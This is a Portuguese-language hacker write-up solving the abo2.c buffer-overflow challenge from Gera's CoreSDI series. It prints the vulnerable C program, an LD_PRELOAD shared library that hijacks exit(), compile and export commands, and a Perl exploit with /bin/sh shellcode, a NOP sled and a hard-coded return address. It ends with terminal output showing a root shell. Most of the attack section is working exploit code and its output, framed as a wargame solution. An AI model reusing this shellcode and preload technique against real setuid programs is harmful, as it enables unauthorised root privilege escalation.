Nash Leon

vulgo
coracaodeleao

Documento privativo!
Favor Não publicá-lo!
Maiores informações:

http://coracaodeleao.virtualave.net/
nashleon@yahoo.com.br

** Detonando Desafio 2 **
do Gera da CoreSDI
http://www.community-sdi.com/~gera/

Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
http://coracaodeleao.virtualave.net/

FAVOR MANTER PRIVATE!!!

O desafio de numero 2 de buffer overflow do Gera(da CoreSDI) eh um dos mais interessantes e vale a pena fucar nele. Muitos fucadores do mundo todo tem gastado horas em busca de uma solucao real para o problema apresentado neste desafio, que eh o uso de exit() como um escape para a shell, o que complica grandemente a exploitacao do mesmo.

Algumas horas de pesquisa me mostraram o seguinte:

NAME
       exit - cause normal program termination

->   The exit() function does not return.

Nao caso do desafio, essa funcao eh executada dentro de main(), ela derruba quaisquer processos em execucao ateh mesmo o parent(processo pai). O que o scut disse sobre arquiteturas onde o stack "cresce para cima"...(nao vejo como me expressar em portugues!:) - grow up)... eh realmente interessante, e a man page reforca:

All functions registered with atexit() and on_exit() are called in
       the reverse order of their registration, and all open
       streams are flushed and closed.

Acho que por mais que a gente "entopa" o stack com dados, exit() deve surgir e acabar com nossa brincadeira, pois ela nao tem sido "tocada".

O codigo original do desafio eh o seguinte:

```
/* abo2.c                                                    *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* This is a tricky example to make you think                *
 * and give you some help on the next one                    */

int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
        exit(1);
}
```

Se voce atacar usando exploitacao padrao, provavelmente serah frustrado. Precisamos de mais coisas e um cenario diferente pra podermos ser bem sucedidos, mas eh bom que vc fuce e tente, pois somente fucando, poderah aprender mais sobre este tipo de problema.

Nao precisamos nos limitar apenas a essa situacao e achar que isso eh regra. Fucando, poderemos ver N meios de se usar exit() e sermos bem sucedido na implementacao. Por exemplo:

```
...
int sair(int status){
setuid(getuid());
_exit(status);
}
...
```

Alguns softwares complexos utilizam mecanismos parecidos, manipulando "capabilities", getuid(), getenv() e etc. Se o programa eh suid e possui condicoes como as citadas acima, entao ele poderia ser perfeitamente exploitado, nao diretamente, mas atraves de artificios, que descreverei abaixo.

Algum tempo atras(Agosto de 2000), eu publiquei um documento intitulado "REDIRECIONAMENTO DE FUNCOES", em que eu descrevia como transformar strncpy() em strcpy() com base na LibSafe:

http://coracaodeleao.virtualave.net/artigos/detonapreload.txt

Esta tecnica pode nos ajudar, mas quero chamar a atencao a parte "etica" e "visionaria" que os caras da CoreSDI tentaram mostrar em oculto para todo o mundo! Um fucador determinado e que conhece a filosofia hacker iria atentar aos detalhes, "detalhes em oculto" do desafio abo3.c. A quebra do abo3.c nos demonstra que eh possivel, em determinados casos, quebrar o desafio abo2.c, e os parametros em oculto que o desafio 3 de buffer overflows demonstrou, pode ser contemplado facilmente por um fucador malicioso.

Na pratica, ha dados intercalando strcpy() e exit(). Se pudermos repetir essa situacao, entao nos estaremos aptos a exploitar o

programa alvo.

A realidade eh que atraves da interceptacao e manusei de funcoes
compartilhadas(shared library), podemos fazer isso e exploitar o
programa.

Para isso, precisamos apenas de uma funcao interceptadora construida
com as informacoes(oculta pra uns, pra outros luminosa) da abo3:

```
------------------------ interfunc.c ----------------------------
/* Shared Library para Interceptar _exit()
 * e permitir exploitacao via buffer overflows
 * de programas que possuem ela como protecao.
 *
 * Nash Leon - nashleon@yahoo.com.br
 * Favor manter isso em private.
 */

#include <stdarg.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <dlfcn.h>


typedef int *(*exit_t) (int status);

static void *getLibraryFunction(const char *funcName){
void *res;

if ((res = dlsym(RTLD_NEXT, funcName)) == NULL) {
   printf("dlsym %s error:%s\n", funcName,dlerror());
   _exit(1);
        }
 return res;
}

int *exit(int stat){
static exit_t real_exit;
extern system, puts;
void (*fn)(char*)=(void(*)(char*))&system;

if (real_exit == NULL) {
real_exit = (exit_t) getLibraryFunction("_exit");
fn=(void(*)(char*))&puts;
printf("Voce caiu aqui dentro!!!\n\n");
return(0);
}
return  real_exit(stat);
}

----------------------------------------------------------------------
```

Carregamos em LD_PRELOAD e em seguida exploitamos normalmente.

```
# !gc
gcc -fPIC -c interfunc.c
```

```
interfunc.c: In function `exit':
interfunc.c:37: warning: function declared `noreturn' has a `return'
statement
interfunc.c:39: warning: function declared `noreturn' has a `return'
statement
```

Nao se preocupe com as mensagens de alerta.

```
# !ld
ld -shared -o interfunc.so interfunc.o -ldl

# !expor
export LD_PRELOAD=/work/testes/interfunc.so
```

Agora que a exportamos podemos usar nosso exploit pra exploitar o programa vulneravel abo2.c.

```
# ./ex2.pl
Voce caiu aqui dentro!!!

sh-2.03# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel),11(floppy)
sh-2.03# exit
exit
```

Bingo!!!:)..

Se voce notar, eu utilizei um exploit feito em PERL, pra fugir ainda mais do padrao. Abaixo segue o fonte do mesmo:

```
---------------------------- ex2.pl ----------------------------------
#!/usr/bin/perl
#Exploit em PERL para desafio 2
#da CoreSDI(http://www.community-sdi.com/~gera/
#
#Nash Leon - nashleon@yahoo.com.br
#http://coracaodeleao.virtualave.net/

#Shellcode Padrao

 $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .
              "\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
              "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .
              "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
              "\x80\xe8\xdc\xff\xff\xff/bin/sh";


$ret = 0xbffffaa0;  #Endereco de Retorno
$buf = 264;         #Tamanho do Buffer alvo(256) + EIP(4) + ESP(4)
$nop = "\x90";      #NOP
$offset = 0;        #OFFSET

#Se precisa chutar ofsset's, sinta-se a vontade com o argv[1].

if (@ARGV == 1) { $offset = $ARGV[0]; }
```

```
#Entupimos o buffer com endereco de RETORNO.

$addr = pack('l', ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
  $buffer .= $addr;
 }

#Colocamos NOPs no buffer

for ($i = 0; $i < ($buf - length($shellcode) - 10); $i++) {
  $buffer .= $nop;
}

#Copiamos o shellcode para dentro do buffer

$buffer .= $shellcode;

#Executamos o Programa Alvo

exec("./abo2", $buffer,0);
```

Como eu disse no inicio, se um soft manuseia capabilities,getuid() e etc,
e depois chama a rotina de saida, ele pode ser exploitado, e em
alguns casos eh possivel conseguir uma suid root.

De qualquer modo, devemos considerar que fucando e com a ajuda da etica,
iremos conseguir maiores implementacoes em cima disso!!:)..

Olhando para minha vida, vejo que se eu nao procurasse aprender mais
sobre os aspectos eticos e a filosofia por traz do hacking, eu jamais
seria capaz de resolver um soh problema que fosse! Novamente, fica
claro pra mim que o aspecto etico e visionario consegue sobressair
frente a questoes tecnicas.

Jah resolvi varios dos desafios do Gera, e tao logo eu disponha de mais
tempo irei tentar os demais(tem uns esquisitassos!), codando exploit em
Assembly e vou ver se eh possivel usar PHP pra exploitar via buffer
overflow tambem, nao quero mais me limitar a C e a exploitacao padrao,
se voce jah estah a um tempinho no hacking, recomendo tentar tambem usando
outras linguagens, outros esquemas, afinal, esses desafios sao pra aumentar
o conhecimento mesmo!

Termino este documento dizendo que eh possivel, em determinados casos,
exploitar o programa alvo, e se voce testar verah por sih proprio!
Jamais devemos afirmar que algo eh impossivel de ser quebrado, lembre-se
da premissa da "Teoria dos Campos Unificados" que afirma que jamais
poderemos construir um software perfeito devido a nossa imperfeicao
como humanos, e se sabemos o que nos impede de fazer algo para quebrar,
poderemos encontrar meios para quebrar e passar pelo proprio empecilho.

Um Abraco,

Nash Leon.